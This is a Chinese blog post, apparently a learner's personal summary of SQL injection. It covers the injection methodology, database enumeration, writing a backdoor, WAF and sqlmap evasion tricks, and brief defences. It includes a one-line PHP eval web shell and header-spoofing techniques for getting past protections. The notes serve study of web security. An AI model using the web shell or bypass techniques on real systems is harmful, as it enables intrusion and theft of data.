IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> SQL注入个人总结 -> 正文阅读

[大数据]SQL注入个人总结

1.SQL注入产生条件与原理:

条件:与数据库有数据交互,有可控变量。

原理:由于未严格过滤用户输入,将用户输入带入SQL语句中执行,形成注入漏洞。

2.不同数据库注入:(注意是否有加密)

常用数据库管理系统有Oracle,SQLServer,MySQL,DB等(除了Assess,别的只有语句上的区别)

注意

需要判断数据库版本,例如mysql中5.0版本以上存在information_scheam记录了所有数据库名,表,列,可通过查询找到所需信息,但5.0以下就只能用工具跑字典。

information_scheam??????? 记录所有数据库名,表名,列名的数据库

information_scheam.tables??????? 记录所有表名信息的表

information_scheam.columns??????? 记录所有列名信息的表

table_name??????? 表名

column_name ??????? 列名

table_schema??????? 数据库名

注入思路:

1.判断字符型或是数字型

2.若是字符型判断闭合

3.判断有无回显

  1. 无回显 ? 用报错注入,时间盲注,布尔盲注,dnslog注入(root权限下)。
  2. 有回显 ?? 联合注入,堆叠注入(有些数据库管理系统不支持),二次注入。 ??
  3. 是否被转义。(宽字节注入,二次编码绕过)

4.查数据库(也可跨库注入),数据库版本,注入权限

5.指定数据库下的表

6.表下的列名

7.查字段

Access数据库注入思路:

Assess数据库不同在于自己就是一个数据库,不用查数据库名,直接查表名,union select 字段1,字段2 from 表名。

第二种方法也可使用偏移注入

SQL sever:

注意:在order by拆解表字段时,中间可能会有一个报错,例如 order by 1,2,3,4 但是在order by 1,2,3时可能会爆错,但是接下来不报错说明不单止3个字段,需要继续拆解。

3.后门写入(需要有文件写入权限)

1.需要有绝对路径(绝对路径获取可通过 工具扫,报错,遗留文件,平台配置文件,cms识别等)

2.需要判断数据库版本,有些数据库中读写文件为null,不清楚是什么情况

文件写入,注入产生问题:

  1. ?? php中魔术引号,将传入数据中的特殊字符转义(通过宽字节或二次编码绕过)
    1. 宽字节注入使用条件:数据传输中使用gbk编码,并且对 ' " 等进行转义就可以使用宽字节注入
    2. 注入姿势:在gbk编码中\是%5c,注入时只要与%5c组成别的字符(相当于把\吃掉) 让\不产生作用,就可绕过转义。
    3. 二次编码注入:将特殊字符进行url编码,就可绕过对特殊字符的转义绕过。 ????????????????

?????? 2.???? 内置函数过滤:这些需要自己判断出使用函数,然后上网找别的师傅分享的绕过姿势。

?????? 3.????? 自定义函数过滤:这种没有源码大概率是吃不到西瓜了,想要绕过只能拿到源码后进行代码审计找突破口。

??????? 4.??????? 不同的脚本只有一句话写法不同,作用都是一样的。

??????? 5.??????? 写入可能会有内容检测,例如php的<?被过滤,就通过js写入后门。??????????????

<script language="PHP">
@eval($_POST['code']);
</script>

4.SQL注入防御

1.??????? 使用预编译(一般使用在JAVA中,也是可绕过的,但是具体姿势还不太懂,各位师傅可以来交流一下)

2.??????? PHP函数与自定义函数过滤用户输入。

3.??????? 部署WAF

4.??????? 限制用户输入(若为前端限制可在页面改)

5.WAF绕过

1.??????? 内联注释(/!* */)

2.??????? 注释符混用(/**/)

3.??????? base64编码解码(具体的需要看能识别那种编码)

4.??????? 大小写绕过(SeleCt? UnioN? AnD等)

5.??????? 加密与解密(也是具体看能识别那种)

6.??????? 更改提交方式(POST GET Cookie?? HTTP头)

7.??????? 使用等价函数(功能相同,但是没有被拦截的函数)

8.??????? 使用特殊符号(* @ #等)

9.??????? HTTP参数污染加注释符(例:?id=1/**&id=-1*/这样写waf只能识别id=1而网站能识别id=-1)

10.?????? 垃圾字符(超过waf识别最大长度,就可绕过)

11.??????? 版本号绕过(/!* 50001 select * from test*/? 假设数据库版本为5.00.01以上会执行,修改50001实现waf绕过)mysql特性!

12.??????? 伪造文件参数(例:index.php/x.txt?id=1)

13.??????? 获取waf白名单文件,可直接注入

6.sqlmap注入绕过

1.??????? 绕过cc流量防护绕过

  1. 可在sqlmap脚本中加入爬虫协议,伪装浏览器访问
  2. url白名单(比较鸡肋),需要得到waf白名单的设置
  3. 伪造客户端ip(使用对方服务器ip伪造)

?????????????? 使用参数:

????????????????X-Forworded-For

??????????????? X-Remote-IP

??????????????? X-originating-IP

??????????????? X-Remote-Addr

??????? 4.爬虫延迟调高,线程调低

? 2.??????? 修改指纹头,绕过限制

  1. 写中转脚本,放入sqlmap目录
  2. 中转目录,本地搭建脚本,脚本指向远程地址,使用sqlmap注入脚本地址

关于后渗透,提权方面的知识还不太懂,上面内容有误也请师傅指出。

欢迎各位师傅来交流!

?

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-03-15 22:37:16  更:2022-03-15 22:38:59 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 8:32:23-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码